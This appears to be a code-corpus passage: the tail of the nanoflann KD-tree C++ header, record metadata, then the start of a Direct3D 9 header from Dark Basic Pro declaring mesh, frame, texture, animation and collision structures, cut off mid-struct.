node->lr.left; i<node->lr.right; ++i) { const IndexType index = vind[i];// reorder... : i; DistanceType dist = distance(vec, index, (DIM>0 ? DIM : dim)); if (dist<worst_dist) { result_set.addPoint(dist, vind[i]); } } return; } /* Which child branch should be taken first? */ int idx = node->sub.divfeat; ElementType val = vec[idx]; DistanceType diff1 = val - node->sub.divlow; DistanceType diff2 = val - node->sub.divhigh; NodePtr bestChild; NodePtr otherChild; DistanceType cut_dist; if ((diff1 + diff2)<0) { bestChild = node->child1; otherChild = node->child2; cut_dist = distance.accum_dist(val, node->sub.divhigh, idx); } else { bestChild = node->child2; otherChild = node->child1; cut_dist = distance.accum_dist(val, node->sub.divlow, idx); } /* Call recursively to search next level down. */ searchLevel(result_set, vec, bestChild, mindistsq, dists, epsError); DistanceType dst = dists[idx]; mindistsq = mindistsq + cut_dist - dst; dists[idx] = cut_dist; if (mindistsq*epsError <= result_set.worstDist()) { searchLevel(result_set, vec, otherChild, mindistsq, dists, epsError); } dists[idx] = dst; } public: /** Stores the index in a binary file. * IMPORTANT NOTE: The set of data points is NOT stored in the file, so when loading the index object it must be constructed associated to the same source of data points used while building it. * See the example: examples/saveload_example.cpp * \sa loadIndex */ void saveIndex(FILE* stream) { save_value(stream, m_size); save_value(stream, dim); save_value(stream, root_bbox); save_value(stream, m_leaf_max_size); save_value(stream, vind); save_tree(stream, root_node); } /** Loads a previous index from a binary file. * IMPORTANT NOTE: The set of data points is NOT stored in the file, so the index object must be constructed associated to the same source of data points used while building the index. * See the example: examples/saveload_example.cpp * \sa loadIndex */ void loadIndex(FILE* stream) { load_value(stream, m_size); load_value(stream, dim); load_value(stream, root_bbox); load_value(stream, m_leaf_max_size); load_value(stream, vind); load_tree(stream, root_node); } }; // class KDTree /** An L2-metric KD-tree adaptor for working with data directly stored in an Eigen Matrix, without duplicating the data storage. * Each row in the matrix represents a point in the state space. * * Example of usage: * \code * Eigen::Matrix<num_t,Dynamic,Dynamic> mat; * // Fill out "mat"... * * typedef KDTreeEigenMatrixAdaptor< Eigen::Matrix<num_t,Dynamic,Dynamic> > my_kd_tree_t; * const int max_leaf = 10; * my_kd_tree_t mat_index(dimdim, mat, max_leaf ); * mat_index.index->buildIndex(); * mat_index.index->... * \endcode * * \tparam DIM If set to >0, it specifies a compile-time fixed dimensionality for the points in the data set, allowing more compiler optimizations. * \tparam Distance The distance metric to use: nanoflann::metric_L1, nanoflann::metric_L2, nanoflann::metric_L2_Simple, etc. */ template <class MatrixType, int DIM = -1, class Distance = nanoflann::metric_L2> struct KDTreeEigenMatrixAdaptor { typedef KDTreeEigenMatrixAdaptor<MatrixType, DIM, Distance> self_t; typedef typename MatrixType::Scalar num_t; typedef typename MatrixType::Index IndexType; typedef typename Distance::template traits<num_t, self_t>::distance_t metric_t; typedef KDTreeSingleIndexAdaptor< metric_t, self_t, DIM, IndexType> index_t; index_t* index; //! The kd-tree index for the user to call its methods as usual with any other FLANN index. /// Constructor: takes a const ref to the matrix object with the data points KDTreeEigenMatrixAdaptor(const int dimensionality, const MatrixType &mat, const int leaf_max_size = 10) : m_data_matrix(mat) { const IndexType dims = mat.cols(); if (dims != dimensionality) throw std::runtime_error("Error: 'dimensionality' must match column count in data matrix"); if (DIM>0 && static_cast<int>(dims) != DIM) throw std::runtime_error("Data set dimensionality does not match the 'DIM' template argument"); index = new index_t(dims, *this /* adaptor */, nanoflann::KDTreeSingleIndexAdaptorParams(leaf_max_size)); index->buildIndex(); } private: /** Hidden copy constructor, to disallow copying this class (Not implemented) */ KDTreeEigenMatrixAdaptor(const self_t&); public: ~KDTreeEigenMatrixAdaptor() { delete index; } const MatrixType &m_data_matrix; /** Query for the \a num_closest closest points to a given point (entered as query_point[0:dim-1]). * Note that this is a short-cut method for index->findNeighbors(). * The user can also call index->... methods as desired. * \note nChecks_IGNORED is ignored but kept for compatibility with the original FLANN interface. */ inline void query(const num_t *query_point, const size_t num_closest, IndexType *out_indices, num_t *out_distances_sq, const int /* nChecks_IGNORED */ = 10) const { nanoflann::KNNResultSet<num_t, IndexType> resultSet(num_closest); resultSet.init(out_indices, out_distances_sq); index->findNeighbors(resultSet, query_point, nanoflann::SearchParams()); } /** @name Interface expected by KDTreeSingleIndexAdaptor * @{ */ const self_t & derived() const { return *this; } self_t & derived() { return *this; } // Must return the number of data points inline size_t kdtree_get_point_count() const { return m_data_matrix.rows(); } // Returns the L2 distance between the vector "p1[0:size-1]" and the data point with index "idx_p2" stored in the class: inline num_t kdtree_distance(const num_t *p1, const IndexType idx_p2, IndexType size) const { num_t s = 0; for (IndexType i = 0; i<size; i++) { const num_t d = p1[i] - m_data_matrix.coeff(idx_p2, i); s += d*d; } return s; } // Returns the dim'th component of the idx'th point in the class: inline num_t kdtree_get_pt(const IndexType idx, int dim) const { return m_data_matrix.coeff(idx, IndexType(dim)); } // Optional bounding-box computation: return false to default to a standard bbox computation loop. // Return true if the BBOX was already computed by the class and returned in "bb" so it can be avoided to redo it again. // Look at bb.size() to find out the expected dimensionality (e.g. 2 or 3 for point clouds) template <class BBOX> bool kdtree_get_bbox(BBOX& /*bb*/) const { return false; } /** @} */ }; // end of KDTreeEigenMatrixAdaptor /** @} */ /** @} */ // end of grouping } // end of NS #endif /* NANOFLANN_HPP_ */
34.116379
196
0.681596
[ "object", "vector", "3d" ]
cf37445986bb151ed3533e915dfb590860ab466f
38,188
h
C
Dark Basic Public Shared/Official Plugins/Dark Dynamix/Project files/Physics Dark Basic/Include/DBOData.h
domydev/Dark-Basic-Pro
237fd8d859782cb27b9d5994f3c34bc5372b6c04
[ "MIT" ]
231
2018-01-28T00:06:56.000Z
2022-03-31T21:39:56.000Z
Dark Basic Public Shared/Official Plugins/Dark Dynamix/Project files/Physics Dark Basic/Include/DBOData.h
domydev/Dark-Basic-Pro
237fd8d859782cb27b9d5994f3c34bc5372b6c04
[ "MIT" ]
9
2016-02-10T10:46:16.000Z
2017-12-06T17:27:51.000Z
Dark Basic Public Shared/Official Plugins/Dark Dynamix/Project files/Physics Dark Basic/Include/DBOData.h
domydev/Dark-Basic-Pro
237fd8d859782cb27b9d5994f3c34bc5372b6c04
[ "MIT" ]
66
2018-01-28T21:54:52.000Z
2022-02-16T22:50:57.000Z
#ifndef _DBODATA_H_ #define _DBODATA_H_ ////////////////////////////////////////////////////////////////////////////////////// // COMMON INCLUDES /////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <d3d9.h> #include <d3dx9.h> #include "global.h" ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// // DEFINES /////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// /* #define SAFE_DELETE( p ) { if ( p ) { delete ( p ); ( p ) = NULL; } } #define SAFE_RELEASE( p ) { if ( p ) { ( p )->Release ( ); ( p ) = NULL; } } #define SAFE_DELETE_ARRAY( p ) { if ( p ) { delete [ ] ( p ); ( p ) = NULL; } } #define SAFE_MEMORY(p) { if ( p == NULL ) return false; } #define MAX_STRING 256 */ ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// // FORWARD DECLARATIONS ////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// struct sCollisionData; // collision data struct sObject; // dbo object struct sMesh; // mesh struct sFrame; // frame struct sTexture; // texture struct sMeshGroup; ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// // TYPEDEFS ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// // delete callback - used for external DLLs typedef void ( *ON_OBJECT_DELETE_CALLBACK ) ( int Id, int userData ); ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// // SPECIAL EFFECTS /////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// struct sEffectConstantData { // effect data D3DXMATRIX matWorld; D3DXMATRIX matView; D3DXMATRIX matProj; D3DXMATRIX matWorldView; D3DXMATRIX matViewProj; D3DXMATRIX matWorldViewProj; D3DXMATRIX matWorldViewInv; D3DXMATRIXA16 matWorldInv; D3DXMATRIXA16 matViewInv; D3DXMATRIX matWorldT; D3DXMATRIX matViewT; D3DXMATRIX matProjT; D3DXMATRIX matWorldViewT; D3DXMATRIX matViewProjT; D3DXMATRIX matWorldViewProjT; D3DXMATRIX matWorldViewInvT; D3DXMATRIXA16 matWorldInvT; D3DXMATRIXA16 matViewInvT; D3DXVECTOR4 vecLightDir; D3DXVECTOR4 vecLightDirInv; D3DXVECTOR4 vecLightPos; float fLightRange; D3DXVECTOR4 vecEyePos; D3DXVECTOR4 vecCameraPosition; float fAlphaOverride; D3DXMATRIX matBoneMatrixPalette[256]; }; class cSpecialEffect { // base class for special effects public: LPD3DXEFFECT m_pEffect; char m_pEffectName [ MAX_STRING ]; D3DXEFFECT_DESC m_EffectDesc; bool m_bTranposeToggle; D3DXHANDLE m_MatWorldEffectHandle; D3DXHANDLE m_MatViewEffectHandle; D3DXHANDLE m_MatProjEffectHandle; D3DXHANDLE m_MatWorldViewEffectHandle; D3DXHANDLE m_MatViewProjEffectHandle; D3DXHANDLE m_MatWorldViewProjEffectHandle; D3DXHANDLE m_MatWorldInverseEffectHandle; D3DXHANDLE m_MatViewInverseEffectHandle; D3DXHANDLE m_MatWorldViewInverseEffectHandle; D3DXHANDLE m_MatWorldTEffectHandle; D3DXHANDLE m_MatViewTEffectHandle; D3DXHANDLE m_MatProjTEffectHandle; D3DXHANDLE m_MatWorldViewTEffectHandle; D3DXHANDLE m_MatViewProjTEffectHandle; D3DXHANDLE m_MatWorldViewProjTEffectHandle; D3DXHANDLE m_MatWorldInverseTEffectHandle; D3DXHANDLE m_MatViewInverseTEffectHandle; D3DXHANDLE m_MatWorldViewInverseTEffectHandle; D3DXHANDLE m_LightDirHandle; D3DXHANDLE m_LightDirInvHandle; D3DXHANDLE m_LightPosHandle; D3DXHANDLE m_VecCameraPosEffectHandle; D3DXHANDLE m_VecEyePosEffectHandle; D3DXHANDLE m_AlphaOverrideHandle; D3DXHANDLE m_TimeEffectHandle; D3DXHANDLE m_SinTimeEffectHandle; D3DXHANDLE m_fMeshRadius; D3DXHANDLE m_BoneMatrixPaletteHandle; LPSTR m_pDefaultXFile; BOOL m_bGenerateNormals; // flags that specify what the effect requires BOOL m_bUsesNormals; BOOL m_bUsesDiffuse; BOOL m_bUsesTangents; BOOL m_bUsesBinormals; BOOL m_bUsesBoneData; // store texture ptrs from loaded effect bool m_bUseShaderTextures; DWORD m_dwTextureCount; int m_iParamOfTexture[8]; sMesh* m_pXFileMesh; // reserved members DWORD m_bDoNotGenerateExtraData; // leeadd - 050906 - Flag passed in to control if FX data auto-generated (tangents/binormals/normals) DWORD m_dwUseDynamicTextureMask; // leeadd - 180107 - Whether dynamic effect from TEXTURE OBJECT should apply to an effect that is using its own textures bool m_bUsesAtLeastOneRT; // leeadd - 200310 - support for RTs in shader bool m_bRes3b; // reserved - maintain plugin compat. bool m_bRes3c; // reserved - maintain plugin compat. bool m_bRes3d; // reserved - maintain plugin compat. DWORD m_dwCreatedRTTextureMask; // leeadd - 200310 - support for RTs in shader DWORD m_dwReserved5; // reserved - maintain plugin compat. // virtual functions cSpecialEffect ( ); virtual ~cSpecialEffect ( ); virtual bool Load ( LPSTR pEffectFile, bool bUseXFile, bool bUseTextures ); virtual bool Setup ( sMesh* pMesh ); virtual void Mesh ( sMesh* pMesh ); virtual DWORD Start ( sMesh* pMesh, D3DXMATRIX matObject ); virtual void End ( void ); // base functions bool AssignValueHookCore ( LPSTR pName, D3DXHANDLE hParam, DWORD dwClass, bool bRemove ); bool AssignValueHook ( LPSTR pName, D3DXHANDLE hParam ); bool CorrectFXFile ( LPSTR pFile, LPSTR pModifiedFile ); bool ParseEffect ( bool bUseEffectXFile, bool bUseEffectTextures ); void ApplyEffect ( sMesh* pMesh ); }; ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// // STRUCTURES //////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// enum eCollisionType { // collision types COLLISION_NONE, // none COLLISION_SPHERE, // sphere COLLISION_BOX, // box COLLISION_POLYGON // polygon }; enum eRotationOrders { // order of rotation ROTORDER_XYZ, // x y z ROTORDER_ZYX, // z y x ROTORDER_YZX // y z x }; struct sOffsetMap { // stores a list of offsets to each part of fvf data DWORD dwSize, // size of data dwByteSize, // size in bytes dwFVF, // actual fvf dwX, // x offset dwY, // y offset dwZ, // z offset dwRWH, // rhw offset dwBlend1, // blend 1 offset dwBlend2, // blend 2 offset dwBlend3, // blend 3 offset dwNX, // normal x offset dwNY, // normal y offset dwNZ, // normal z offset dwPointSize, // point size offset dwDiffuse, // diffuse offset dwSpecular, // specular offset dwTU[8], // tu offsets dwTV[8], // tv offsets dwTZ[8], // tz offsets dwTW[8]; // tw offsets }; struct sBone { // stores bone data char szName [ MAX_STRING ]; // bone name DWORD dwNumInfluences; // how many vertices does this affect DWORD* pVertices; // affect vertices - stores indices to link to float* pWeights; // bone weights D3DXMATRIX matTranslation; // translation matrix // reserved members DWORD dwReservedB1; // reserved - maintain plugin compat. DWORD dwReservedB2; // reserved - maintain plugin compat. DWORD dwReservedB3; // reserved - maintain plugin compat. // constructor and destructor sBone ( ); ~sBone ( ); }; struct sTexture { // texture information char pName [ MAX_STRING ]; // image filename int iImageID; // image id LPDIRECT3DTEXTURE9 pTexturesRef; // reference to image texture LPDIRECT3DCUBETEXTURE9 pCubeTexture; // cube texture reference DWORD dwStage; // can change stage order of texture DWORD dwBlendMode; // blending mode for multitexturing DWORD dwBlendArg1; // blend argument 1 DWORD dwBlendArg2; // blend argument 2 DWORD dwAddressU; // texture wrap mode settings DWORD dwAddressV; // texture wrap settings DWORD dwMagState; // texture filter and mipmap modes DWORD dwMinState; // min state DWORD dwMipState; // mip state DWORD dwTexCoordMode; // texture coordinate index mode int iStartIndex; // start index int iPrimitiveCount; // number of primitives // reserved members DWORD dwBlendArg0; // U73 - 210309 - extra blend mapping support DWORD dwBlendArgR; // for lerping textures (arg0 and result) DWORD dwReservedT3; // reserved - maintain plugin compat. // constructor and destructor sTexture ( ); ~sTexture ( ); }; struct sCollisionData { // contains a list of all collision data ( each mesh will store one of these ) D3DXVECTOR3 vecMin; // origin bounding box min extents D3DXVECTOR3 vecMax; // origin bounding box max extents D3DXVECTOR3 vecCentre; // origin centre of object float fRadius; // origin sphere radius float fScaledRadius; // precomputed for main object radius float fLargestRadius; // precomputed all anim combos for culling float fScaledLargestRadius; // precomputed all anim combos for scaled culling // collision information for run-time processing bool bActive; // whether collision is on or off bool bHasBeenMovedForResponse; // flagged when entity is moved bool bColCenterUpdated; // collision center moves when object rotates D3DXVECTOR3 vecColCenter; // realtime collision center // collision method DWORD eCollisionType; // collision type bool bFixedBoxCheck; // non-rotated box collision bool bUseBoxCollision; // flagged to use box collision int iHitOverlapStore; // stores when 'strike hit' occurs int iResponseMode; // how the collision produces a result bool bBoundProduceResult; // bound produces result??? // special collision assist values DWORD dwArbitaryValue; // can use used to store a value (material ID for sound/ground effect) DWORD dwPortalBlocker; // assists in determining if mesh should block a created portal (cosmetic geometry) // reserved members DWORD dwReservedCD1; // reserved - maintain plugin compat. DWORD dwReservedCD2; // reserved - maintain plugin compat. DWORD dwReservedCD3; // reserved - maintain plugin compat. // constructor and destructor sCollisionData ( ); ~sCollisionData ( ); }; struct sDrawBuffer { // draw buffer data IDirect3DVertexBuffer9* pVertexBufferRef; // pointer to VB used IDirect3DIndexBuffer9* pIndexBufferRef; // pointer to IB used D3DPRIMITIVETYPE dwPrimType; // render prim type DWORD dwVertexStart; // start location for vertices in buffer DWORD dwVertexCount; // number of vertices used by this buffer DWORD dwIndexStart; DWORD dwPrimitiveCount; // required to determine actual prims to draw DWORD dwFVFSize; // size of the stream source DWORD dwBaseVertexIndex; // used to offset vertex base index (setindices) LPVOID pVBListEntryRef; // ref to obj-manager VB list item LPVOID pIBListEntryRef; // ref to obj-manager IB list item // reserved members DWORD dwImmuneToForeColorWipe; // U75 - 070410 - (was RES1) set by SET OBJECT MASK to allow objects to escape being wiped by COLOR BACKDROP c,b,FORECOLOR DWORD dwReservedDB2; // reserved - maintain plugin compat. DWORD dwReservedDB3; // reserved - maintain plugin compat. // constructor sDrawBuffer ( ); }; struct sMultiMaterial { // multiple materials char pName [ MAX_STRING ]; // image filename LPDIRECT3DTEXTURE9 pTexturesRef; // reference to image texture D3DMATERIAL9 mMaterial; // unique material information DWORD dwIndexStart; // start of index data for this material DWORD dwIndexCount; // quantity of index data items DWORD dwPolyCount; // quantity of polygons to draw }; struct sMeshMultipleAnimation { // multiple animation information sFrame* pSubFrameList; // sub frames DWORD dwSubMeshListCount; // number of sub frames int iCurrentFrame; // current frame int iNextFrame; // next frame int iLastFrame; // last frame float fLastInterp; // last interpolation value float fInterp; // interpolation DWORD dwLastTime; // last time DWORD dwThisTime; // current time bool bLinked; // linked flag // reserved members DWORD dwReservedMMA1; // reserved - maintain plugin compat. DWORD dwReservedMMA2; // reserved - maintain plugin compat. DWORD dwReservedMMA3; // reserved - maintain plugin compat. }; struct sMeshFVF { // mesh flexible vertex format data DWORD dwFVFOriginal; // flexible vertex format original DWORD dwFVF; // flexible vertex format DWORD dwFVFSize; // size of flexible vertex format }; struct sMeshDraw { // mesh draw information int iMeshType; // put it to handle terrain scene culling (mesh visible flag) BYTE* pOriginalVertexData; // pointer to original vertex data BYTE* pVertexData; // pointer to vertex data WORD* pIndices; // index array DWORD dwVertexCount; // number of vertices DWORD dwIndexCount; // number of indices int iPrimitiveType; // primitive type int iDrawVertexCount; // number of vertices to be used when drawing int iDrawPrimitives; // number of actual primitives to draw sDrawBuffer* pDrawBuffer; // VB and IB buffers used by the mesh // reserved members DWORD dwReservedMD1; // reserved - maintain plugin compat. DWORD dwReservedMD2; // reserved - maintain plugin compat. DWORD dwReservedMD3; // reserved - maintain plugin compat. }; struct sMeshShader { // shader data bool bUseVertexShader; // flag to control vertex shader bool bOverridePixelShader; // pixel shader on or off bool bVertexShaderEffectRefOnly; D3DVERTEXELEMENT9 pVertexDeclaration [ MAX_FVF_DECL_SIZE ]; // for custom FVFs LPDIRECT3DVERTEXSHADER9 pVertexShader; // vertex shader LPDIRECT3DVERTEXDECLARATION9 pVertexDec; // vertex shader dec LPDIRECT3DPIXELSHADER9 pPixelShader; // pixel shader handle cSpecialEffect* pVertexShaderEffect; // built-in shader effect ptr char pEffectName [ MAX_STRING ]; // reserved members DWORD dwReservedMS1; // reserved - maintain plugin compat. DWORD dwReservedMS2; // reserved - maintain plugin compat. DWORD dwReservedMS3; // reserved - maintain plugin compat. }; struct sMeshBones { // mesh bones sBone* pBones; // array of bones for mesh DWORD dwBoneCount; // number of bones in mesh sFrame** pFrameRef; // stores reference to original frame representing bone (used for limb-based bone collision) D3DXMATRIX** pFrameMatrices; // list of all matrices used for this mesh ( in conjunction with bones ) }; struct sMeshTexture { // mesh texture bool bUsesMaterial; // flag to skip material use bool bAlphaOverride; // flag to alpha override bool bUseMultiMaterial; // for multi-material models (bone based type for now) DWORD dwTextureCount; // number of textures in list DWORD dwMultiMaterialCount; // size of multimaterial array DWORD dwAlphaOverride; // tfactor alpha override (true object transparency) sTexture* pTextures; // texture list sMultiMaterial* pMultiMaterial; // multimaterial array D3DXMATERIAL* pMaterialBank; // temp store for all materials of a single mesh D3DMATERIAL9 mMaterial; // unique material information DWORD* pAttributeWorkData; // stores work data when a mesh has multiple materials // reserved members DWORD dwReservedMT1; // reserved - maintain plugin compat. DWORD dwReservedMT2; // reserved - maintain plugin compat. DWORD dwReservedMT3; // reserved - maintain plugin compat. }; struct sMeshInternalProperties { // object maintainance and management bool bAddObjectToBuffers; // flagged when mesh needs to be added to buffers bool bVBRefreshRequired; // flagged when vertex data modified bool bMeshHasBeenReplaced; // shaders can change a mesh (buffer would be replaced if so) bool bVertexTransform; // have vertices been transformed DWORD dwDrawSignature; // draw information bool bShaderBoneSkinning; // indicates if Vertex Shader has taken over bone animation work int iSolidForVisibility; // filled when mesh used as part of nodetree visibility system int iCastShadowIfStatic; // occluder shadow value (written by ADD STATIC) union { DWORD dwMeshID; }; // reserved members DWORD dwReservedMIP1; // reserved - maintain plugin compat. DWORD dwReservedMIP2; // reserved - maintain plugin compat. DWORD dwReservedMIP3; // reserved - maintain plugin compat. }; struct sMeshExternalProperties { // these store the individual render states of the mesh bool bWireframe; // render state flags for each mesh bool bLight; // lighting on / off bool bCull; // culling on / off bool bFog; // fog on / off bool bAmbient; // respond to ambient bool bTransparency; // transparency on / off DWORD dwAlphaTestValue; // used to restrict what is rendered by alpha value bool bGhost; // is ghosting on bool bVisible; // is object visible bool bZRead; // z buffer bool bZWrite; // z write int iGhostMode; // ghost mode index bool bZBiasActive; // active when using some zbias float fZBiasSlopeScale; // how much of object to add to Z (0.0-1.0) float fZBiasDepth; // definitively add a value to Z int iCullMode; // 1-CCW 2-CW - lee - 040306 - u6rc5 - solve import issue for some CW models bool bDrawBounds; // to hide/show the bounds geometry - mike 160505 - added ability to draw bounds of an individual mesh float fMipMapLODBias; // mike - 230505 - need to be able to set mip map LOD bias on a per mesh basis // reserved members DWORD dwReservedMEP1; // reserved - maintain plugin compat. DWORD dwReservedMEP2; // reserved - maintain plugin compat. DWORD dwReservedMEP3; // reserved - maintain plugin compat. DWORD dwReservedMEP4; // reserved - maintain plugin compat. DWORD dwReservedMEP5; // reserved - maintain plugin compat. }; struct sMesh : public sMeshFVF, sMeshDraw, sMeshShader, sMeshBones, sMeshTexture, sMeshInternalProperties, sMeshExternalProperties, sMeshMultipleAnimation { // contains all data for a mesh sCollisionData Collision; // collision information // reserved members DWORD dwReservedM1; // reserved - maintain plugin compat. DWORD dwReservedM2; // reserved - maintain plugin compat. DWORD dwReservedM3; // reserved - maintain plugin compat. // constructor and destructor sMesh ( ); ~sMesh ( ); }; struct sMeshGroup { sMesh* pMesh; }; struct sFrameID { // frame ID char szName [ MAX_STRING ]; // name int iID; // local index of frame in build list }; struct sFrameLinks { // frame links - parent, child and sibling sFrame* pParent; // parent sFrame* pChild; // child sFrame* pSibling; // sibling }; struct sFrameTransforms { // frame transforms D3DXMATRIX matOriginal; // original matrix D3DXMATRIX matTransformed; // realtime transformed matrix D3DXMATRIX matCombined; // realtime combined matrix D3DXMATRIX matAbsoluteWorld; // includes object world (absolute world) // mike 170505 - new matrix for completely custom, physics needs this for implementing it's own matrix bool bOverride; // flag to override D3DXMATRIX matOverride; // override matrix // reserved members DWORD dwReservedFT1; // reserved - maintain plugin compat. DWORD dwReservedFT2; // reserved - maintain plugin compat. DWORD dwReservedFT3; // reserved - maintain plugin compat. }; struct sFramePosition { // frame position data D3DXMATRIX matUserMatrix; // local frame matrix D3DXVECTOR3 vecOffset; // local frame orientation D3DXVECTOR3 vecScale; // scale D3DXVECTOR3 vecRotation; // rotation D3DXVECTOR3 vecPosition; // realtime update D3DXVECTOR3 vecDirection; // realtime update bool bVectorsCalculated; // realtime update flag // reserved members D3DXVECTOR3 vecReservedFP1; // reserved - maintain plugin compat. D3DXVECTOR3 vecReservedFP2; // reserved - maintain plugin compat. }; struct sFrame : public sFrameID, sFrameLinks, sFrameTransforms, sFramePosition { // base meshes sMesh* pMesh; // basic mesh data for frame (optional) sMesh* pShadowMesh; // created to render a shadow (optional) sMesh* pBoundBox; // created to view bound box (optional) sMesh* pBoundSphere; // created to view bound sphere (optional) sMesh* pLOD [ 2 ]; // created to hold LOD[0] and LOD[1] model // reserved members bool bExcluded; // 301007 - new exclude limb feature bool bReservedF1a; // 290808 - added these 3 BOOLS in (as Bool=1 & DWORD=4) bool bReservedF1b; // bool bReservedF1c; // DWORD dwStatusBits; // 211008 - u71 - stores 32 bits of info ( %1-shift object bounds by frame zero ) sMesh* pLODForQUAD; // 061208 - U71 - quad at end of LOD chain DWORD dwReservedF4; // reserved - maintain plugin compat. DWORD dwReservedF5; // reserved - maintain plugin compat. // constructor and destructor sFrame ( ); ~sFrame ( ); }; struct sXFileRotateKey { // x file rotate key DWORD dwTime; // time value DWORD dwFloats; // floats float w; // w rotate float x; // x rotate float y; // y rotate float z; // z rotate }; struct sXFileScaleKey { // x file scale key DWORD dwTime; // time value DWORD dwFloats; // floats D3DXVECTOR3 vecScale; // scale value }; struct sXFilePositionKey { // x file position key DWORD dwTime; // time value DWORD dwFloats; // floats D3DXVECTOR3 vecPos; // position }; struct sXFileMatrixKey { // x file matrix key DWORD dwTime; // time DWORD dwFloats; // floats D3DXMATRIX matMatrix; // matrix to be applied }; struct sRotateKey { // rotate key DWORD dwTime; // time value D3DXQUATERNION Quaternion; // quaternion }; struct sPositionKey { // position key DWORD dwTime; // time value D3DXVECTOR3 vecPos; // position D3DXVECTOR3 vecPosInterpolation; // interpolation }; struct sScaleKey { // scale key DWORD dwTime; // time value D3DXVECTOR3 vecScale; // scale D3DXVECTOR3 vecScaleInterpolation; // interpolation }; struct sMatrixKey { // matrix key DWORD dwTime; // time D3DXMATRIX matMatrix; // matrix D3DXMATRIX matInterpolation; // interpolation }; struct sAnimationID { // animation ID char szName [ MAX_STRING ]; // name sFrame* pFrame; // pointer to frame }; struct sAnimationProperties { // animation properties BOOL bLoop; // is animation looping BOOL bLinear; // is animation linear }; struct sAnimationKeys { // animation keys DWORD dwNumPositionKeys; // number of position keys DWORD dwNumRotateKeys; // number of rotation keys DWORD dwNumScaleKeys; // number of scale keys DWORD dwNumMatrixKeys; // number of matrix keys sPositionKey* pPositionKeys; // position keys sRotateKey* pRotateKeys; // rotate keys sScaleKey* pScaleKeys; // scale keys sMatrixKey* pMatrixKeys; // and finally matrix keys // leeadd - 190204 - added for speed - Mike, can remove comment here when 'read' DWORD dwLastPositionKey; // keep track of last actual key used for each type DWORD dwLastRotateKey; DWORD dwLastScaleKey; DWORD dwLastMatrixKey; }; struct sAnimationExtraBones { // extra bone data for certain types of animations, will be removed in future // and replaced DWORD bBoneType; // type of bone int* piBoneOffsetList; // offset list int iBoneOffsetListCount; // count of offset list D3DXMATRIX** ppBoneFrames; // matrix frame int iBoneFrameA; // index a int iBoneFrameB; // index b }; struct sAnimation : public sAnimationID, sAnimationProperties, sAnimationKeys, sAnimationExtraBones { // final animation structure sAnimation* pSharedReadAnim; // if erase any anim data (for clone-shared use), this points to clone anim data sAnimation* pNext; // pointer to next animation block // reserved members DWORD dwReservedA1; // reserved - maintain plugin compat. DWORD dwReservedA2; // reserved - maintain plugin compat. DWORD dwReservedA3; // reserved - maintain plugin compat. // constructor and destructor sAnimation ( ); ~sAnimation ( ); }; struct sAnimationSet { // stores a list of animations char szName [ MAX_STRING ]; // animation name sAnimation* pAnimation; // pointer to data DWORD ulLength; // length of animation sAnimationSet* pNext; // next set // extra data to store dynamic boundboxes from animation D3DXVECTOR3* pvecBoundMin; // pre-calculated bound boxes per anim frame D3DXVECTOR3* pvecBoundMax; D3DXVECTOR3* pvecBoundCenter; float* pfBoundRadius; // reserved members DWORD dwReservedAS1; // reserved - maintain plugin compat. DWORD dwReservedAS2; // reserved - maintain plugin compat. DWORD dwReservedAS3; // reserved - maintain plugin compat. // constructor and destructor sAnimationSet ( ); ~sAnimationSet ( ); }; struct sPositionMatrices { // matrices for position D3DXMATRIX matTranslation, // translation ( position ) matRotation, // final rotation matrix matRotateX, // x rotation matRotateY, // y rotation matRotateZ, // z rotation matScale, // scale matObjectNoTran, // final world without translation (collision) matWorld, // final world matrix matFreeFlightRotate, // free flight matrix rotation matPivot; // pivot // reserved D3DXMATRIX matReservedPM1; // reserved - maintain plugin compat. D3DXMATRIX matReservedPM2; // reserved - maintain plugin compat. D3DXMATRIX matReservedPM3; // reserved - maintain plugin compat. }; struct sPositionProperties { // position properties bool bFreeFlightRotation; // flag for euler/freeflight bool bApplyPivot; // pivot bool bGlued; // glue bool bCustomWorldMatrix; // used for when world matrix is calculated manually int iGluedToObj; // glued to object int iGluedToMesh; // glued to mesh (mode 1 when negative) DWORD dwRotationOrder; // euler rotation order float fCamDistance; // used for depth sorting // reserved (u62 onwards) bool bCustomBoneMatrix; // used by darkphysics (ragdoll) bool bParentOfInstance; // used by instance command to flag parent (used to animate parent even if not visible) bool bReservedPP3; // reserved - maintain plugin compat. DWORD dwReservedPP1; // reserved - maintain plugin compat. DWORD dwReservedPP2; // reserved - maintain plugin compat. DWORD dwReservedPP3; // reserved - maintain plugin compat. }; struct sPositionVectors { // stores position data D3DXVECTOR3 vecPosition, // main position vecRotate, // euler rotation vecScale, // main scale vecLook, // look vector vecUp, // up vector vecRight, // right vector vecLastPosition, // last position used by auto-collision vecLastRotate; // autocol uses for rotation restoration D3DXMATRIX matLastFreeFlightRotate; // lee - 240306 - u6b4 - for automatic collision rotation freeze }; struct sPositionData : public sPositionVectors, sPositionProperties, sPositionMatrices { // constructor and destructor sPositionData ( ); ~sPositionData ( ); }; struct sObjectProperties { // object properties bool bVisible; // for hide/show bool bUniverseVisible; // internal systems can cull visibility (like universe) bool bNoMeshesInObject; // sometimes all meshes can be removed! bool bUpdateOverallBounds; // flag when need to update overall object bounds bool bUpdateOnlyCurrentFrameBounds; // true by default, when true it ONLY does bound for current animation frame (set object frame o,f,X) bool bOverlayObject; // flagged if special overlay object (ie lock,ghost) bool bGhostedObject; // flagged if a ghosted object bool bTransparentObject; // flagged if a transparent object bool bTransparencyWaterLine; // new: transparency water line (for above/below water) 